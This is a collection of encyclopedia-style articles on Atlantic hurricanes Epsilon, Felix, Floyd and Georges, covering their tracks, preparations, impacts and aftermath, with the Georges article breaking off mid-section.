          Hurricane Epsilon developed out of an extratropical storm in the central Atlantic Ocean on November 29 that had gradually gained tropical characteristics in the wake of Tropical Storm Delta. It was well east of Bermuda at the time and never would get close to land. Epsilon gradually strengthened into a strong tropical storm before it weakened slightly on December 1. The official forecasts from the National Hurricane Centre predicted Epsilon would weaken further in the highly sheared environment before becoming an extratropical system again. Unexpectedly, As a Tropical Storm , Epsilon strengthened again on December 2 and became a hurricane over cooler waters averaging 21  24C (70  75F) and continuing shear, conditions that are highly unfavorable to maintaining a tropical cyclone. The official forecasts continued to predict weakening and eventual dissipation but Epsilon defied them and remained at hurricane strength for several days. At one point on December 4 it was thought that Epsilon had briefly weakened into a tropical storm, but later re-analysis showed that it had remained a hurricane. Hurricane Epsilon then strengthened further to its peak intensity of 85 mph(135km/h) just hours later.
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              View of Hurricane Epsilon from aboard the International Space Station on December 3, 2005.
            

          


          Hurricane Epsilon frustrated forecasters, and the lack of any weakening led NOAA hurricane forecaster Dr. Lixion Avila to say "There are no clear reasons  and I am not going to make one up  to explain the recent strengthening of Epsilon" The storm maintained its hurricane status for five days while most of the six-hourly forecasts during that period called for it to weaken below that intensity. Dr. Avila also claimed that Epsilon had developed a structure similar to one of an annular hurricane, which enabled it to maintain its strength despite poor conditions.


          On December 7 a strong upper-level flow from the northwest disrupted the organization of Hurricane Epsilon. The continuing shear then finally weakened Epsilon it into a tropical storm that day. It quickly weakened further into a tropical depression on December 8 and dissipated shortly thereafter.


          


          Impact and records


          As Hurricane Epsilon stayed well out to sea and never approached land, no warnings or watches were issued. No ships reported experiencing tropical storm force winds from Epsilon and there were no reports of damages or fatalities.


          When Hurricane Epsilon formed as a Tropical Storm on the November 29, it was the first known time that twenty-seven tropical or subtropical storms had formed in the Atlantic during one hurricane season. Hurricane Epsilon was only the sixth ever Atlantic hurricane recorded in December. Epsilon also spent more time as a hurricane during December than any other Atlantic storm (beating the old record held by Hurricane Lili of 1984). Along with Lili, Epsilon was also one of only four known Atlantic tropical cyclones to strengthen into a hurricane in December.
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              	Formed

              	August 8, 1995
            


            
              	Dissipated

              	August 22, 1995
            


            
              	Highest

              winds

              	
                
                  
                    	140 mph (220 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	929 mbar ( hPa; 27.44 inHg)
            


            
              	Fatalities

              	8 direct
            


            
              	Damage

              	$132,000 (1995USD)

              $187,000 (2008USD)
            


            
              	Areas

              affected

              	Bermuda, U.S. East Coast beaches
            


            
              	Part of the

              1995 Atlantic hurricane season
            

          


          Hurricane Felix was the sixth named tropical cyclone and the third hurricane of the unusually active 1995 Atlantic hurricane season. Though it never made landfall, Felix stalled off the coast of North Carolina, resulting in great uncertainty over its track. The hurricane caused eight deaths and severe beach erosion from North Carolina to Massachusetts.


          


          Storm history
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              Storm path
            

          


          A tropical wave moved off the coast of Africa on August 6. Deep convection quickly organized around a centre, and the system developed into Tropical Depression Seven on August 8 while a short distance southwest of the Cape Verde islands. The depression moved to the west-northwest, and 18hours after forming it strengthened into a tropical storm, receiving the name Felix. It continued to slowly intensify as it headed west-northwestward, a motion caused by the subtropical ridge, and attained hurricane status on the 11th, while 620miles (1,000km) east-northeast of Guadeloupe.


          A split in the deep-layered trough over the western Atlantic Ocean resulted in Felix turning to the northwest. There, where warm sea surface temperatures and little upper-level shear provided conditions favorable for intensification, the hurricane began to rapidly intensify to its peak strength, with maximum sustained winds of 140mph (225km/h) on August 12. An eyewall replacement cycle, combined with upper level shear from its anticyclone being displaced over the hurricane, caused Felix to weaken and develop a broader inner core. Its northwest motion continued, bringing Felix, then an 85mph (135km/h) hurricane, within 75miles (120km/h) of Bermuda on the 15th.
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              Felix off the coast of North Carolina
            

          


          The subtropical ridge built to the west, forcing Felix to take a west-northwest track. Initially, it appeared that the westward motion would cause Felix to strike the mid-Atlantic coastline, though a weakness in the ridge caused the hurricane to stall just 165miles (265km) east of the Outer Banks from August 17 to August 19. Cooler, drier air weakened Felix to a minimal hurricane, and while stationary, it presented an eye 60 to 80miles (95 to 130km/h) in diameter. After one shortwave trough failed to pull the hurricane towards open sea on the 18th, Felix drifted eastward, and executed a clockwise loop before another shortwave trough brought the hurricane to the northeast. Cooler waters weakened Felix to a tropical storm on August 20, and after passing to the east of Newfoundland, the storm became extratropical on the 22nd. As an extratropical storm, Felix persisted until August 25 when it dissipated between Iceland and Ireland.


          


          Preparations


          Initial forecasts predicted a landfall on the Outer Banks of North Carolina, with winds of 100mph (160km/h); however, these forecasts were made with great uncertainty. While Felix was still near Bermuda, officials in the United States issued hurricane warnings from Little River, South Carolina to Chincoteague, Virginia, and tropical storm warnings from Chincoteague to near Manasquan, New Jersey on August 15. Also that same day, officials in Dare County, North Carolina, ordered a mandatory evacuation for the Outer Banks, a decision that caused $4 million (1995 USD) in daily losses for local businesses. At the time, over 200,000tourists and residents were in the evacuation zone, including 5,000 to 8,000 in Hatteras, the city furthest from the mainland by road. Had the hurricane continued on its path, it would have made landfall on the night of August 16. For this same reason, schools were cancelled throughout Dare County; further inland in North Carolina, shelters were opened in schools in Roanoke Rapids and Rocky Mount.


          In southeastern Virginia, officials feared a repeat of the 1933 Chesapeake Potomac Hurricane, which caused a deadly storm surge in downtown Norfolk. Contrary to typical North Carolina hurricanes, which parallels the coast, Felix was predicted to make landfall head on, a situation known to exacerbate storm surge. The large size of the hurricane, potential for re-strengthening, and slow forward motion, caused a worst-case scenario in which 7 to 9feet (2.1 to 2.7m) of water would be pushed onshore and cause wide-spread flooding throughout southeastern Virginia. The projected path caused 66 U.S. Navy ships to depart the Norfolk Naval Base for safer waters.


          


          Impact


          Though Felix did not make landfall, its large circulation created large swells across much of the western Atlantic Ocean. In Puerto Rico, 8 to 12-foot (2.4 to 3.7m) waves caused minor coastal flooding in Catao. Strong waves and rip currents were responsible for the deaths of eight people.


          


          Bermuda


          In Bermuda, officials issued hurricane warnings about one day prior to moving past the island. The Bermuda International Airport cancelled flights during the storm's onslaught, and gusty winds downed numerous trees and power lines. Although no wind reports are available, estimates indicate that Felix produced winds of 80-85mph (129-137km/h) at the surface of the island. The hurricane's passage postponed the scheduled vote for Bermuda's independence. The winds left 20,000 without power initially, though power was quickly restored. Rough surf from Felix destroyed a few boats and damaged hotels on the island's southern shore, though damage was minor.


          


          East Coast of the United States


          While stalling offshore, Hurricane Felix generated strong waves of up to 15feet (4.7m) in Martha's Vineyard. In addition, persistent cyclonic winds caused strong rip currents along the coastline. The rip currents and strong waves caused three drowning deaths in North Carolina and five in New Jersey. The winds caused extensive beach erosion in North Carolina and New Jersey, especially in Ocean City, New Jersey where 240feet (73m) of beach was lost and 10-foot (3m) cliffs were formed. In Atlantic City, beaches were closed for the first time since Hurricane Gloria in 1985. Flooding was also present in Virginia with tides 4feet (1.2m) above normal. Numerous other beaches from North Carolina to Massachusetts were closed, as well. Storm tides were 2.5feet (.8m) above normal in most locations, including the Outer Banks where North Carolina Highway 12 was flooded sporadically for four days.


          Because Hurricane Felix remained offshore, it caused little property damage. Two houses in the Hamptons were washed away by the strong waves. In North Carolina, 20 to 30 houses experienced minor damage, totaling to $57,000 in damage (1995 USD, $70,000 2005 USD). Strong waves from the hurricane sunk two boats with one person each off the coast of Maine, with damage to the boats totaling to $75,000 (1995 USD). Both men swam to shore, one of whom suffered minor injuries after the crash. Strong waves also swept a woman out to sea in Bailey Island, Maine. She was rescued, but not after suffering from hypothermia and cuts over her body.


          


          Canada


          In Nova Scotia, authorities closed several beaches due to swells of up to 20 feet (6 m). Buoys near the Newfoundland coast recorded wave heights of 49 feet (15 m), while buoys further offshore reported wave heights of 82 feet (25 m). Upon moving past Nova Scotia, the hurricane dropped light rainfall of up to 1.5 inches (40 mm).


          


          Aftermath


          Due to the extensive beach erosion, government officials questioned whether to rebuild on barrier islands. In Virginia Beach, $10 million (1995 USD) was required to replenish the sand, the first restoration project since 1962. Geologists argue it is a losing battle, believing it is pointless to replace the sand lost due to nature. Others argue the beach is helping small towns with tourism, many times their primary source of income. In addition, one estimate indicated it would cost less to replace the beach than to pay for the disaster-relief when a storm might destroy unprotected houses.


          Because the damage was minimal, the name Felix was not retired. It was used again during both the 2001 and 2007 seasons. The name Felix has since been retired after the 2007 Atlantic hurricane season, and has been replaced by Fernand on the list of names for the 2013 Atlantic hurricane season.
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                Hurricane Floyd over The Bahamas on September 14, 1999
                

              
            


            
              	Formed

              	September 7, 1999
            


            
              	Dissipated

              	September 19, 1999
            


            
              	Highest

              winds

              	
                
                  
                    	155 mph (250 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	921 mbar ( hPa; 27.21 inHg)
            


            
              	Fatalities

              	57direct, 2030indirect
            


            
              	Damage

              	$4.5billion (1999USD)

              $6billion (2008USD)
            


            
              	Areas

              affected

              	The Bahamas, U.S. East Coast from Florida to Maine (particularly North Carolina), Atlantic Canada
            


            
              	Part of the

              1999 Atlantic hurricane season
            

          


          Hurricane Floyd was the sixth named storm, fourth hurricane, and third major hurricane in the 1999 Atlantic hurricane season. Floyd triggered the second largest evacuation in US history (behind Hurricane Rita) when 2.6 million coastal residents of five states including Florida were ordered from their homes as Hurricane Floyd approached. The Cape Verde-type hurricane formed off the coast of Africa and lasted from September 7 to September 19, peaking in strength as a very strong Category 4 hurricanejust short of the highest possible ratingon the Saffir-Simpson Hurricane Scale. It was among the largest Atlantic hurricanes of its strength ever recorded.


          Floyd struck The Bahamas at peak strength, causing heavy damage. It then paralleled the East Coast of the United States, causing massive evacuations and costly preparations. The storm weakened significantly, however, before making landfall in North Carolina as a Category 2 hurricane, and caused further damage as it travelled up the Mid-Atlantic region and into New England.


          The hurricane produced torrential rainfall in eastern North Carolina, adding more rain to an area hit by Hurricane Dennis just weeks earlier. The rains caused widespread flooding over a period of several weeks; nearly every river basin in the eastern part of the state exceeded 500-year flood levels. In total, Floyd was responsible for 57 fatalities and $4.5 billion ($5.7 billion in 2006 U.S. dollars) in damage, mostly in North Carolina.


          


          Storm history
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              Storm path
            

          


          Floyd originated as a tropical wave that exited the coast of Africa on September 2. It moved steadily westward and remained disorganized and devoid of deep convection until September 7, when a curved band of deep convection developed over the centre in response to a developing anticyclone. At this point, the National Hurricane Centre designated it as Tropical Depression Eight, while it was approximately 1,000miles (1600km) east of the Lesser Antilles. A strong ridge of high pressure to its north forced the developing tropical cyclone westward over warmer waters, allowing it to strengthen to Tropical Storm Floyd on the 8th.
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          Although a large storm, Floyd initially lacked a well-defined inner core, resulting in slow strengthening and preventing rapid intensification. On September 10 it organized enough to reach hurricane status, and on the 11th Floyd approached major hurricane strength with winds of 110mph (175km/h) while north of the Leeward Islands. The central Atlantic upper tropospheric trough, along with an upper-level low in the eastern Caribbean Sea, produced shear over the hurricane and caused its winds to weaken to 85mph (135km/h). A turn to the west, caused by building of high pressures, was followed by a period of rapid intensification: in 24 hours maximum sustained winds increased from 110mph (175km/h) to 155mph (250km/h), while the pressure dropped to 921 mbar ( hPa) by morning on the 13th. One contributor to the intensification was the high oceanic heat content along the storm's path.
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          Hurricane Floyd remained just below Category 5 status on the Saffir-Simpson Hurricane Scale for 12 hours while crossing the Bahamas, making landfalls on Eleuthera and Abaco islands, before an eyewall replacement cycle weakened it to a Category 3 hurricane with winds of 120mph (195km/h). The new, larger eyewall contracted slightly, and the hurricane briefly re-intensified to Category 4 status. A strong mid- to upper-level trough eroded the western portion of the high-pressure ridge, steering Floyd to the northwest. It paralleled the eastern Florida coast 110miles (175km) off shore, and steadily weakened because of entrainment of dry air and upper-level shear. The storm remained extremely large, however; at its peak, tropical storm-force winds spanned a diameter of 580miles (935km), making Floyd one of the largest Atlantic hurricanes of its intensity ever recorded.


          Floyd accelerated to the north and northeast, and weakened greatly to a Category 2 hurricane with 105mph (165km/h) winds at its Cape Fear landfall on September 16. After crossing over North Carolina and southeastern Virginia, it briefly re-entered the western Atlantic Ocean before reaching Long Island on the 17th. The storm gradually lost its tropical characteristics due to an approaching frontal zone and became extratropical over southern Maine late on the 17th. The extratropical storm continued to the northeast, and after passing over the Canadian Maritimes, it was absorbed by a cold front to the east of Newfoundland.


          


          


          Preparations


          Although Floyd's track prediction was above average while out at sea, the forecasts as it approached the coastline were merely average compared to forecasts from the previous ten years. The official forecasts did not predict Floyd's northward track nor its significant weakening before landfall. Nearly all of the East Coast, from Florida City, Florida, to Plymouth, Massachusetts, was under a Hurricane Warning at some point; however, only a fraction of this area actually received hurricane-force winds. The last time such widespread hurricane warnings occurred was during Hurricane Donna in 1960, although the warnings for that storm were accurate.
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          Initial fears were of a direct hit as a large Category 4 hurricane in Florida, potentially costlier and deadlier than Hurricane Andrew had been in 1992. In preparation for a potentially catastrophic landfall, more than one million Florida residents were told to evacuate, of which 272,000 were in Miami-Dade County. U.S. President Bill Clinton declared a federal state of emergency in both Florida and Georgia in anticipation of the storm's approach. As the storm turned to the north, more people were evacuated as a progressively larger area was threatened. The massive storm caused the largest peacetime evacuation ever in the U.S., with around 2.6 million evacuating coastal areas in Florida, Georgia, and the Carolinas.


          With the storm predicted to hit near Cape Canaveral with winds of over 140mph (225km/h), all but 80 of Kennedy Space Centre's 12,500-person workforce were evacuated. The hangars that house three space shuttles can withstand winds of only 105mph (170km/h), and a direct hit could have resulted in potentially billions of dollars in damage of space equipment, draining funds of an already money-strained government organization. In the theoretical scenario, the damage would be caused by water, always a potential problem in an area only nine feet above sea level. If water entered the facility, it would damage the electronics as well as requiring a complete inspection of all hardware. When Floyd actually passed by the area, Kennedy Space Centre only reported light winds with minor water intrusion. Damage was minor overall, and was repaired easily.


          A hurricane warning was issued for the North Carolina coastline 27 hours prior to landfall. However, due to the size of the storm, initial forecasts predicted nearly all of the state would be affected in one form or another. School systems and businesses as far west as Asheville shut down for the day landfall was predicted, but, as it turned out, only the Coastal Plain sustained significant damage; much of the state west of Raleigh escaped unscathed.


          In New York City, public schools were closed on September 16, 1999, the day Floyd hit the area. This was a rare decision by the city, as New York City public schools close on average once every few years. Before Floyd, the last time New York City closed its schools was for the Blizzard of 1996. After Floyd, the next time its public schools would close was due to the September 11, 2001 terrorist attacks.


          


          Impact


          
            
              Death toll by area
            

            
              	State/country

              	Deaths
            


            
              	The Bahamas

              	1
            


            
              	North Carolina

              	35
            


            
              	Virginia

              	3
            


            
              	Delaware

              	2
            


            
              	Pennsylvania

              	6
            


            
              	New Jersey

              	6
            


            
              	New York

              	2
            


            
              	Connecticut

              	1
            


            
              	Vermont

              	1
            


            
              	Total

              	57
            

          


          With a death toll of 57, Hurricane Floyd was the deadliest United States hurricane since Hurricane Agnes in 1972. The storm also was one of the costliest in the nation's history, amounting to $4.5 billion (1999 USD; $5.3 billion in 2006 U.S. dollars). Most of the deaths and damage were from inland, freshwater flooding in eastern North Carolina.


          


          Bahamas


          Hurricane Floyd lashed the Bahamas with winds of 155mph (250km/h) and waves up to 50feet (15m) in height. A 20-foot (6m) storm surge inundated many islands with over five feet (1.5m) of water throughout. The wind and waves toppled power and communication lines, severely disrupting electricity and telephone services for days. Damage was greatest at Abaco Island, Cat Island, San Salvador Island, and Eleuthera Island, where Floyd uprooted trees and destroyed a significant number of houses. Numerous restaurants, hotels, shops, and homes were devastated, severely limiting in the recovery period tourism on which many rely for economic well-being. Damaged water systems left tens of thousands across the archipelago without water, electricity, or food. Despite the damage, however, few deaths were reported, as only one person drowned in Freeport, and there were few injuries reported.


          To help the affected citizens, the Bahamian Red Cross Society opened 41 shelters, though within one week many returned home. The Bahamas required $435,000 in aid following the storm, much of it in food parcels. The Inter-American Development Bank loaned $21 million to the archipelago to restore bridges, roads, seawalls, docks, and other building projects in the aftermath of the hurricane.


          


          Southeastern United States


          Although over a million Florida residents were evacuated, the state was only lightly affected by Hurricane Floyd. Strong waves and tropical storm-force winds resulted in significant beach erosion on the east coast of Florida, as well as the loss of some boat piers in Brevard and Volusia Counties. Moderate rainfall occurred along the coastline, amounting to a maximum of 3.2inches (81mm) in Sanford. Floyd's winds downed hundreds of trees, damaging 357 houses. Damage in northeast Florida amounted to $46.5 million (1999 USD, $54.5 million 2006 USD), a fraction of what was originally expected.


          The states of Georgia and South Carolina, although threatened by the storm, were largely spared when it turned northward. Some areas of eastern South Carolina reported up to 16inches (400mm) of rain.


          


          North Carolina
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          North Carolina received the brunt of the storm's destruction. In all, Hurricane Floyd caused 35 fatalities in North Carolina, much of them from freshwater flooding, as well as billions in damage.
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          The storm surge from the large hurricane amounted to 910feet (2.73m) along the southeastern portion of the state. The hurricane also spawned numerous tornadoes, most of which caused only minor damage. Damage to power lines left over 500,000 customers without electricity at some point during the storm's passage.


          Just weeks prior to Floyd hitting, Hurricane Dennis brought up to 15inches (38cm) of rain to southeastern North Carolina. When Hurricane Floyd moved across the state in early September, it produced torrential rainfall, amounting to a maximum of 19.06inches (48cm) in Wilmington. Though it moved quickly, the extreme rainfall was due to Floyd's interaction with an approaching cold front across the area.


          Extensive flooding led to overflowing rivers; nearly every river basin in eastern North Carolina reached 500 year or greater flood levels. Most localized flooding happened overnight; Floyd dropped nearly 17inches (430mm) of rain during the hours of its passage and many residents werent aware of the flooding until the water came into their homes. The National Guard and the Coast Guard performed nearly 1700 fresh water rescues of people trapped on the roofs of their homes due to the rapid rise of the water. By contrast, many of the worst affected areas did not reach peak flood levels for several weeks after the storm, as the water accumulated in rivers and moved downstream (see flood graphic at right).


          The passage of Hurricane Irene four weeks later contributed an additional six inches (150mm) of rain over the still-saturated area, causing further flooding.


          


          
            
              	Flooded areas from Floyd along the Tarand Neuse rivers
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              	  as of September 17
            


            
              	

              	  as of September 23
            


            
              	

              	  as of September 30
            

          


          The Tar River suffered the worst flooding, exceeding 500-year flood levels along its lower stretches; it crested 24feet (7.3m) above flood stage. Flooding began in Rocky Mount, as much as 30% of which was underwater for several days. In Tarboro, much of the downtown was under several feet of water. Nearby, the historic town of Princeville was largely destroyed when the waters of the Tar poured over the town's levee, covering the town with over 20 feet (6 m) of floodwater for ten days. Further downstream, Greenville suffered very heavy flooding; damages in Pitt County alone were estimated at $1.6 billion (1999 USD, $1.87 billion 2006 USD). Washington, where the peak flood level was observed, was likewise devastated. Some residents in Greenville had to swim six feet underwater to reach the front doors of their homes and apartments. Due to the heavy flooding in downtown Greenville, the East Carolina Pirates were forced to relocate their football game against #9 Miami to N.C. State's Carter-Finley Stadium in Raleigh, where they beat the Hurricanes 27-23.


          The Neuse River, Roanoke River, Waccamaw River, and New River exceeded 500-year flood levels, although damage was lower in these areas (compared to the Tar River) because of lower population densities. Because most of the Cape Fear River basin was west of the peak rainfall areas, the city of Wilmington was spared the worst flooding despite having the highest localized rainfall; however, the Northeast Cape Fear River (a tributary) did exceed 500-year flood levels. Of the state's eastern rivers, only the Lumber River escaped catastrophic flooding.


          Rainfall and strong winds affected many homes across the state, destroying 7,000, leaving 17,000 uninhabitable, and damaging 56,000. Ten thousand people resided in temporary shelters following the storm. The extensive flooding resulted in significant crop damage. As quoted by North Carolina Secretary of Health and Human Services H. David Bruton, "Nothing since the Civil War has been as destructive to families here. The recovery process will be much longer than the water-going-down process." Around 31,000 jobs were lost from over 60,000 businesses through the storm, causing nearly $4 billion (1999 USD, $4.7 billion 2006 USD) in lost business revenue. In much of the affected area, officials urged people to either boil water or buy bottled water during Floyd's aftermath.


          In contrast to the problems eastern North Carolina experienced, much of the western portion of the state remained under a severe drought.


          


          


          Virginia
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          As in North Carolina, Floyd produced torrential rainfall in the most eastern portions of Virginia, amounting to a peak of 16.57inches (42cm) in Newport News. The rainfall led to overflowing rivers in the Chowan River Basin, some of which exceeded 500-year flood levels. The Blackwater River reached 100-year flood levels and flooded Franklin with 12feet (3.6m) of water. Extensive road damage occurred there, isolating the area from the rest of the state. Some 182 businesses and 150 houses were underwater in Franklin from the worst flooding in 60 years. In addition, two dams along the Rappahannock River burst from the extreme flooding. Throughout all of Virginia, Floyd damaged 9,250 houses, killed 3 people, and caused $101 million in damage (1999 USD, $118 million 2006 USD).


          


          Mid-Atlantic
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          By the time Floyd hit the shore, it was significantly weaker than it was at sea, due to the collapsing of its concentric eyes. This had little effect on the inland damage caused by the storm, however, and Floyd produced torrential rains and high winds throughout the Mid-Atlantic as far north as New York City and Long Island.


          Chestertown, Maryland, reported a maximum rainfall total of 14inches (350 mm), with other locales reporting similar values. Extreme river flooding caused moderate damage to bridges and roads, resulting in a damage toll of $7.9 million (1999 USD, $9.25 million 2006 USD) throughout the state. In addition, over 250,000 residents were without electricity because of high winds blowing down power lines.


          Rainfall amounts peaked at 13.34inches (339mm) in Somerville, New Jersey, and 12.36inches (314mm) in Vernon, Delaware. The Raritan River basin experienced record flooding as a result of Floyd's heavy rains, 4.5feet (1.4m) higher than the previous record flood crest. Bound Brook, New Jersey, was especially hard hit by a record flooding event: a 42-foot (13m) flood crest, 14feet (4.3m) above flood stage, sent 12feet (3.7m) of water on Main Street and drowned three people.


          Manville, New Jersey was hit nearly as hard, with record-breaking floods coming from the Raritan River and the nearby Millstone River, which join in Manville.
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          Still a large tropical cyclone when it hit the Mid Atlantic states, Floyd produced a strong storm surge, peaking at 2.8feet (0.8m) with a storm tide of 9.34feet (2.85m) in Philadelphia with effects felt in parts of northern Pennsylvania including the Wilkes-Barre/Scranton metro area. Some 1,260,000 citizens across the three states lost power because of the storm, and flooding left many in Pennsylvania homeless. 


          New England and Canada


          Floyd caused large power outages and flood damage across New England, with over five inches (130mm) of rain being dropped over most of the area. Danbury, Connecticut received up to 15inches (380mm) of rain from the storm, resulting in extensive flooding in the city and surrounding areas. Because New England had been in a severe drought leading up to Floyd, the storm's floodwaters quickly receded.


          The storm lost tropical characteristics as it entered coastal Canada and effects there were minor, amounting to gusty winds and seas of up to 30feet (9m) in height in the southern Maritimes. In New Brunswick and southern Quebec, between 1 and 3 inches (25 and 75 mm) of rain fell with no flooding reported. Wind up to 116 km/h was recorded on le d'Orlans causing some damages on the south shore areas of Quebec City region.


          


          Aftermath


          


          Criticism of FEMA
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          The Hurricane Floyd disaster was followed by what many judged to be a very slow federal response. Fully three weeks after the storm hit, Jesse Jackson complained to FEMA Director James Lee Witt on his CNN program Both Sides Now, "It seemed there was preparation for Hurricane Floyd, but then came Flood Floyd. Bridges are overwhelmed, levees are overwhelmed, whole towns under water ... [it's] an awesome scene of tragedy. So there's a great misery index in North Carolina." Witt responded, "We're starting to move the camper trailers in. It's been so wet it's been difficult to get things in there, but now it's going to be moving very quickly. And I think you're going to see aI think the people there will see a big difference [within] this next weekend!"


          


          Ecological effects
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          Runoff from the hurricane created significant problems for the ecology of North Carolina's rivers and sounds.


          In the immediate aftermath of the storm, freshwater runoff, sediment, and decomposing organic matter caused salinity and oxygen levels in Pamlico Sound and its tributary rivers to drop to nearly zero. This raised fears of massive fish and shrimp kills, as had happened after Hurricane Fran and Hurricane Bonnie, and the state government responded quickly to provide financial aid to fishing and shrimping industries. Strangely, however, the year's shrimp and crab harvests were extremely prosperous; one possible explanation is that runoff from Hurricane Dennis caused marine animals to begin migrating to saltier waters, so they were less vulnerable to Floyd's ill effects.


          Pollution from runoff was also a significant fear. Numerous pesticides were found in low but measurable quantities in the river waters, particularly in the Neuse River. Overall, however, the concentration of contaminants was slightly lower than had been measured in Hurricane Fran, likely because Floyd simply dropped more water to dilute them.


          


          Parental stress and child abuse


          A 2004 study by the University of North Carolina at Chapel Hill, published in the American Journal of Preventive Medicine, found some evidence that small children living in the hardest-hit part of North Carolina suffered increased rates of child abuse during the six months following the storm. This is likely due to parental stress in rebuilding and grieving their losses in the aftermath of a catastrophe. Dr. Heather T. Keenan, co-author of the study, said, "This information may be useful in future disaster planning. To the extent possible, vulnerable families should receive additional supportboth immediately after a disaster and during the recovery period."


          


          Retirement


          Because of the hurricane's destruction in North Carolina and elsewhere in the United States, the World Meteorological Organization retired the name Floyd in the spring of 2000; it will never again be used for an Atlantic hurricane. The name was replaced with Franklin in the 2005 season.
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                  [image: Georges as a Category 4 hurricane]
                


                Georges as a Category 4 hurricane
                

              
            


            
              	Formed

              	September 15, 1998
            


            
              	Dissipated

              	September 29, 1998
            


            
              	Highest

              winds

              	
                
                  
                    	155 mph (250 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	937 mbar ( hPa; 27.68 inHg)
            


            
              	Fatalities

              	604 direct
            


            
              	Damage

              	$5.9billion (1998USD)

              $8billion (2008USD)
            


            
              	Areas

              affected

              	Leeward Islands, Puerto Rico, Dominican Republic, Haiti, Cuba, Florida Keys, Mississippi, Alabama, Southeastern Louisiana, Florida Panhandle
            


            
              	Part of the

              1998 Atlantic hurricane season
            

          


          Hurricane Georges (IPA: [ʒɔʒ]) was the seventh tropical storm, fourth hurricane, and second major hurricane of the 1998 Atlantic hurricane season. The tropical cyclone made seven landfalls on its long track through the Caribbean Sea and Gulf of Mexico during September, becoming the second most destructive storm of the season. Georges killed 603 people, mainly on the island of Hispaniola, and caused nearly $6 billion (1998 US dollars, $7 billion 2006 USD) in damages, mostly in Puerto Rico and Hispaniola.


          The hurricane affected at least six different countries (Antigua and Barbuda, St. Kitts and Nevis, Haiti, the Dominican Republic, Cuba, and the United States)  more than any other hurricane since Hurricane Inez of the 1966 season, and more than any other hurricane until Hurricane Wilma in the 2005 season affected ten different countries.


          


          Storm history
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          A tropical wave exited the coast of Africa on September 13. Moving westward, the large system quickly developed a closed circulation, and was classified Tropical Depression Seven on the 15th. A strong upper-level ridge forced the depression to the west-northwest, where warm water temperatures allowed it to strengthen to a tropical storm on the 16th. Georges's circulation developed strong banding features around a well-organized Central Dense Overcast, and with the aid of a developing anti-cyclone, Georges attained hurricane status late on September 17.
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          Conditions became nearly ideal for continued development, including warm water temperatures, low-level inflow to the hurricane's north, and good upper-level outflow. A banding eye developed, and Georges reached major hurricane strength on September 19 while 675 miles (1085 km) east-southeast of Antigua. Rapid intensification continued, and Georges peaked at 155 mph (250 km/h) on the 20th. Shortly after peaking, upper-level wind shear from the development of an upper-level low weakened the hurricane as it approached the Leeward Islands.
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          On September 21, Georges made landfall directly on Antigua and St. Kitts, though its wide windfield affected many other islands. After weakening to a Category 2 hurricane over the Caribbean Sea, upper-level shear decreased, and Georges strengthened again before making landfall near Fajardo, Puerto Rico as a 115mph (185km/h) hurricane. Over the mountainous terrain of the island, the hurricane weakened to a Category 2 storm again, but over the Mona Passage it again re-intensified to hit eastern Dominican Republic with winds of 120mph (195km/h) on the 22nd. Like in Puerto Rico, Georges was greatly weakened by the mountainous terrain, and after crossing the Windward Passage, it struck 30miles (48km) east of Guantanamo Bay, Cuba on the 23rd. Well-defined upper-level outflow allowed the hurricane to remain well organized, and while paralleling the northern coastline of the island Georges retained minimal hurricane status.


          Hurricane Georges reached the Straits of Florida on September 24, and as it had done earlier in its lifetime, quickly restrengthened to Category 2 status on the 25th due to warm water temperatures and little upper-level shear. It continued to the west-northwest, and struck Key West later on the 25th with winds of 105mph (165km/h). Despite moving over warmer water, Georges only managed to peak at 110mph (175km/h) in the Gulf of Mexico, likely due to its disrupted inner core. A mid-tropospheric anticyclone pushed the hurricane slowly north-northwestward, forcing Georges to make its 7th and final landfall near Biloxi, Mississippi on the 28th. Within 24 hours, Georges had weakened to a tropical depression, and due to weak steering currents the storm looped over southern Mississippi, then drifted to the east. The weak circulation moved eastward over the interior of the Florida Panhandle, and dissipated on October 1 near the Florida/ Georgia border.


          


          Preparations


          In the days prior to the hurricane's arrival, thousands of citizens in Puerto Rico prepared for the major hurricane by boarding windows and purchasing supplies. Puerto Rican governor Pedro Rossell activated the island's National Guard, opened 416shelters, and enacted a temporary prohibition on alcohol sales. More than 28,000people across the island evacuated their homes to the shelters in the northern portion of the island. Both FEMA and the American Red Cross deployed workers there with supplies for a potentially deadly event. The National Hurricane Centre issued hurricane warnings for the island 37hours prior to Hurricane Georges's landfall.


          Due to initial forecasts of the hurricane brushing the northern portion of the country, the Dominican Republic was caught off guard. Instead, like in Puerto Rico, Georges traversed the entire country, and passed close to Santo Domingo. Neighboring Haiti expected the worst, opening shelters and evacuating vulnerable people from low-lying coastal areas.


          Prior to making landfall, more than 200,000people were evacuated from coastal areas in eastern Cuba. In the potentially impacted area, Cuba's revolutionary army was sent to farm lands to harvest crops that could be destroyed during the storm. Members of the Cuban government travelled door-to-door to alert everyone of the hurricane. In addition to this, President Fidel Castro spoke live on national television to explain the country's plans to withstand the hurricane, as well as ensuring a quick recovery effort by using all of the nation's resources. The Cuban Government issued Hurricane Warnings 30hours prior to landfall.


          Initial forecasts of a southeastern Florida landfall forced over 1.2million to evacuate, including much of the Florida Keys. Despite the mandatory evacuation order, 20,000people, including over 7,000 Key West citizens, refused to leave. Some of those who remained to ride out the storm were shrimpers, whose boats were their entire livelihood. Insurance companies refused to insure some of the older shrimp boats, leading shrimpers to ride it out with all they had left. Due to lack of law enforcement, those who stayed in Key West went through red lights, double-parked, and disobeyed traffic laws. Long-time Florida Keys citizens noted the solitude of the time and enjoyed the island for how it once was, rather than the large crowds of tourists.


